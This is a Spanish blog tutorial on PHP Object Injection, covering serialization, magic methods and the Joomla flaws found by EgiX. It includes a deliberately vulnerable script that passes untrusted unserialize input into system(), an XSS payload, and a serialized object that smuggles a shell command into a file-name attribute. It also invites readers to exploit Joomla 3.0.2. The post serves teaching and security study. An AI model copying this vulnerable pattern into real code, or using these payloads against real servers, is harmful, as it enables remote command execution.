domingo, 4 de agosto de 2013

PHP Object Injection

Este tipo de vulnerabilidad lo aprendí hace poco mientras investigaba sobre vulnerabilidades en Joomla. Resulta que en febrero y marzo de este año Egidio Romano ("EgiX") hizo publicas dos vulnerabilidades de inyección de objetos PHP que afectan a diversas versiones de Joomla permitiendo realizar ataques de denegación de servicio, inyección SQL y bajo determinadas condiciones inclusión de ficheros (LFI). Obviamente esto tenía que llamar mi atención, así que de ello tratará este post.

Pero primero algunas referencias, por si quieren leerlo de primera fuente:

Explicación de PHP Object Injection
Reporte de vulnerabilidades en Joomla:
Análisis de PHP Object Injection en Joomla:
Una muy buena presentación sobre PHP Object Injection:

Ahora sí, empecemos...

PHP Object Injection

PHP Object Injection es una vulnerabilidad que se produce al enviar entradas del usuario sin validar a la función "unserialize" de PHP. La función "unserialize" se encarga de reconstruir un objeto a partir de su forma "serializada" como cadena de caracteres. Por lo que podemos enviar como entrada cualquier objeto serializado y este se reconstruirá e inyectará en la ejecución de la aplicación. Dependiendo del tipo de objetos que inyectemos y su implementación podremos realizar diferentes tipos de ataque.

Pero vamos por partes...

Serialización y deserialización

Si estas familiarizado con la POO seguramente conoces estos conceptos. No es mi intención explicarlos aquí sino mostrar de forma práctica como sucede esto en PHP. Para serializar un objeto en PHP usamos la función "serialize". Esta función devuelve una cadena con la representación del objeto. Por ejemplo:

serialize.php
<?php

// definimos la clase Test
class Test {
    public $test;
    
    function __construct() {
        $this->test = "cadena";
    }
    
    function imprimir() {
        echo $this->test . "\n";
    }
}

// instanciamos un objeto de la clase Test
$objeto = new Test;

// serializamos el objeto
$objeto_serializado = serialize($objeto);

// mostramos la representacion del objeto serializado
echo $objeto_serializado . "\n";

?>

El código anterior mostrará una salida como esta:

Fig. 1 - Objeto serializado.

Entender esta forma de representación no es muy complicado. El formato es más o menos el siguiente:

Cadenas
Formato: s:longitud:"cadena";
Ejemplo: s:4:"hola";

Enteros
Formato: i:valor;
Ejemplo: i:23;

Booleanos
Formato: b:valor;
Ejemplo: b:0;

Nulo
Formato: N;

Arreglos
Formato: a:#elementos:{indice;valor;indice;valor;...}
Ejemplo: a:2:{i:0;s:7:"primero";i:1;s:7:"segundo";}

Objetos
Formato: O:longitud_nombre:"nombre_clase":#atributos:{atributo;valor;atributo;valor;...}
Ejemplo: (ver Fig. 1)

Nota: Los atributos se representan como una cadena con el nombre del atributo y su valor puede ser cualquier otro tipo de dato incluso otro objeto.

Otra nota: Hay que tener presente que, en ciertos casos, la salida de la función "serialize" puede incluir "null bytes" (0x00). Por ejemplo cuando los atributos de la clase están marcados como "protected" o "private".

Por otra parte la función "unserialize" realiza exactamente el proceso contrario. Toma como entrada la representación como cadena del objeto y lo reconstruye devolviendo una referencia al objeto. Veamos:

unserialize.php
<?php

// definimos la clase Test
class Test {
    public $test;
    
    function __construct() {
        $this->test = "cadena";
    }
    
    function imprimir() {
        echo $this->test . "\n";
    }
}

// leemos la entrada del usuario
$objeto_serializado = $_POST['data'];

// deserializamos el objeto
$objeto = unserialize($objeto_serializado);

// llamamos a la funcion imprimir()
$objeto->imprimir();

?>

Fig. 2 - Deserialización de un objeto.

Métodos mágicos de PHP

En PHP las clases pueden implementar ciertos métodos (funciones) llamados "métodos mágicos". Se les denomina así porque tienen la particularidad de ejecutarse automáticamente en determinados momentos. Por ejemplo el método "__construct" es un método mágico que se ejecuta al instanciar la clase o también el método "__toString" que se ejecuta automáticamente cuando se trata como cadena un objeto.

Más info: http://php.net/manual/es/language.oop5.magic.php

Para explotar una inyección de objetos PHP necesitamos que el objeto inyectado implemente un método mágico con código vulnerable y que se den las condiciones para que este método mágico se ejecute automáticamente. Hay un par de métodos mágicos que claramente son muy útiles pues (casi) siempre se ejecutan: "__wakeup" y "__destruct".

El método "__wakeup" se ejecuta al momento de deserializar el objeto, es decir cuando llamamos a la función "unserialize" y "__destruct" se ejecuta cuando dejan de existir referencias al objeto o cuando el programa termina su ejecución.

Explotación

Ahora veamos un ejemplo sencillo de código vulnerable y su explotación:

vulnerable.php
<?php

// Clase LogTemporal
class LogTemporal {
    public $tmp_file;

    function __destruct() {
        system("rm -f " . $this->tmp_file); 
    }
}

// Clase Noticia
class Noticia {
   public $titulo;
   public $autor;

   function __toString() {
        return "<h2>" . $this->titulo . "<h2>";
   }
}

// leemos una noticia
$noticia = unserialize($_POST['noticia']);

// mostramos la noticia
echo $noticia;

?>

El programa recibe por POST el parámetro "noticia" que contiene un objeto serializado de la clase "Noticia". Luego usa "echo" para mostrar la noticia, como "echo" solo imprime cadenas de texto, esto provoca que el objeto llame automáticamente al método "__toString" que retorna el título de la noticia. Veamos:

Fig. 3 - Ejecución normal de "vulnerable.php".

Una primera forma de explotar esto sería como "XSS" enviando una cadena de texto con el código javascript pero en su forma serializada.

Construimos la cadena serializada:
<?php
    $xss = "<script>alert('xss');</script>";
    echo serialize($xss) . "\n";
?>

Salida:
s:30:"<script>alert('xss');</script>";

Fig. 4 - Explotación como XSS.

Sin embargo hay otra forma más interesante de explotar este ejemplo para conseguir ejecución de comandos.

Vemos que la clase "LogTemporal" implementa el método "__destruct" y dentro de este método llama a la función "system" con el fin de eliminar un archivo. Pero el nombre del archivo es un atributo de la clase y podemos manipularlo para conseguir ejecutar comandos en el servidor. Para ello tendríamos que inyectar un objeto "LogTemporal" construido de la siguiente manera:

Construcción del exploit:
<?php

class LogTemporal {
    public $tmp_file;
}

$exploit = new LogTemporal;
$exploit->tmp_file = "archivo.txt; echo \"Hacked\" > hacked.txt";

echo serialize($exploit) . "\n";

?>

Salida:
O:11:"LogTemporal":1:{s:8:"tmp_file";s:39:"archivo.txt; echo "Hacked" > hacked.txt";}

Nota: Los métodos de la clase no se "serializan" por lo que podemos obviar definirlos en el código para construir el exploit y no dará problemas.

Al enviar este objeto pretendemos ejecutar el comando "echo "Hacked" > hacked.txt" que creará el archivo "hacked.txt". Sin embargo, si inyectamos esto directamente no va a funcionar puesto que el programa hace un "echo" del objeto y la clase "LogTemporal" no implementa el método "__toString" lo que provoca una excepción de conversión a cadena de texto. Este error impide que el programa termine normalmente y el método "__destruct" no llega a ejecutarse.

Fig. 5 - Error de conversión a cadena de texto.

Para resolver este problema podemos meter un objeto de la clase "LogTemporal" dentro de otro objeto de una clase que si implemente el método "__toString" (como la clase "Noticia" por ejemplo). Recuerda que los atributos de un objeto pueden ser otros objetos. Así el programa terminará sin problemas y el método "__destruct" se ejecutará.

Construcción del exploit:
<?php

// Clase LogTemporal
class LogTemporal {
    public $tmp_file;
}

// Clase Noticia
class Noticia {
   public $titulo;
   public $autor;
}

$exploit = new LogTemporal;
$exploit->tmp_file = "archivo.txt; echo \"Hacked\" > hacked.txt";

$noticia = new Noticia;
$noticia->titulo = "foo";

// metemos el exploit en el
// atributo autor
$noticia->autor = $exploit;

echo serialize($noticia) . "\n";

?>

Salida:
O:7:"Noticia":2:{s:6:"titulo";s:3:"foo";s:5:"autor";O:11:"LogTemporal":1:{s:8:"tmp_file";s:39:"archivo.txt; echo "Hacked" > hacked.txt";}}

Fig. 6 - Explotación sin errores.

Fig. 7 - Archivo creado "hacked.txt".

Espero que este sencillo ejemplo haya servido para entender el funcionamiento de esta vulnerabilidad. Si quieren aprender más sobre este tema, les animo a intentar construir un exploit para Joomla 3.0.2. Yo me entretuve bastante y aprendí mucho en el proceso. Pueden seguir las indicaciones del análisis de la vulnerabilidad de Joomla en las referencias al inicio del post.

Un saludo.

No hay comentarios:

Publicar un comentario